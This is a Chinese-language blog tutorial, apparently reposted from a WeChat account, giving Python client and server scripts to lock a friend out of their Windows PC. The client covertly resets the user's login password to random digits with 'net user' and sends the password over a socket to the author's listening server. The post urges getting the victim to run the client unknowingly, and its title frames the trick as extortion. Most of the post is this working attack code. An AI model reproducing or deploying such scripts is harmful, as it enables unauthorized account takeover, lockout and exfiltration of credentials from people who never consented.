今天教大家用python腳本來控制小伙伴們windows電腦的開機密碼。沒錯就是神不知鬼不覺,用random()隨機生成的密碼,只有你自己知道哦~
代碼呢分兩部分,一部分是client端跟server端兩個。你只需要想辦法讓小伙伴運行你的client端腳本就OK啦。不過在此之前你一定要在你的電腦上運行server端哦~這樣子的話,client端會在你的小伙伴電腦上隨機生成一個密碼然后通過socket發給server端也就是發給你哦~
下面放代碼,順便加點注釋。
client端代碼:
# client.py: //文件名import socket //導入用到的模塊import getpassimport subprocessimport randomclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建socket實例client.connect(('10.0.0.1', 44444)) //連接server端IP地址/端口按你自己實際情況來user = getpass.getuser() //獲取計算機用戶名psd = '' //給一個psd變量(密碼)為空for j in range(1, 9): //生成1-9的隨機數m = str(random.randrange(0, 10))psd = psd + msubprocess.Popen(['net', 'User', user, psd]) //在本地執行(類似于cmd命令)client.send(psd.encode('utf-8')) //將密碼發送給server端back_msg = client.recv(1024)client.close() //關閉socketprint psd //避免出現差錯忘記密碼 先在本地打印
server端代碼:
# server.py //文件名import socket //導入socketserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建socketserver.bind(('10.0.0.1', 44444)) //綁定IP/端口server.listen(5) //監聽print('starting....')conn, addr = server.accept() //連接print(conn)print('client addr', addr)print('ready to recv the passwd...')client_msg = conn.recv(1024)print('client passwd changed: %s' % client_msg)conn.send(client_msg.upper())conn.close()server.close()
OK代碼寫完后我們開始運行一下程序(推薦在虛擬機下運行,萬一出個差錯搞不好真忘記密碼!切記切記)~
首先先在我的Linux上運行server端,來等待接收來自client端傳過來的密碼。
運行server.py腳本
然后windows運行client端,它會顯示生成的密碼
(前提是在cmd命令行下運行否則你雙擊一下會消失)
cmd下運行
現在再注銷或者是重啟輸入原始密碼就會發現密碼錯誤,怎么密碼呢也已經發到我們的server端了。
server收到密碼
如果你現在想改回密碼的話,千萬不要關機 打開cmd輸入“net user 你的用戶名 你要改變的密碼” 然后回車就ok了。
好啦,本次文章就寫到這啦。大家對什么內容感興趣歡迎給鄙人留言,鄙人會盡量照顧到大家的口味的~
-
WINDOWS
+關注
關注
3文章
3524瀏覽量
88420 -
python
+關注
關注
56文章
4782瀏覽量
84452 -
腳本
+關注
關注
1文章
387瀏覽量
14831
原文標題:用python來更改小伙伴的windows開機密碼,不給10塊不給開機
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論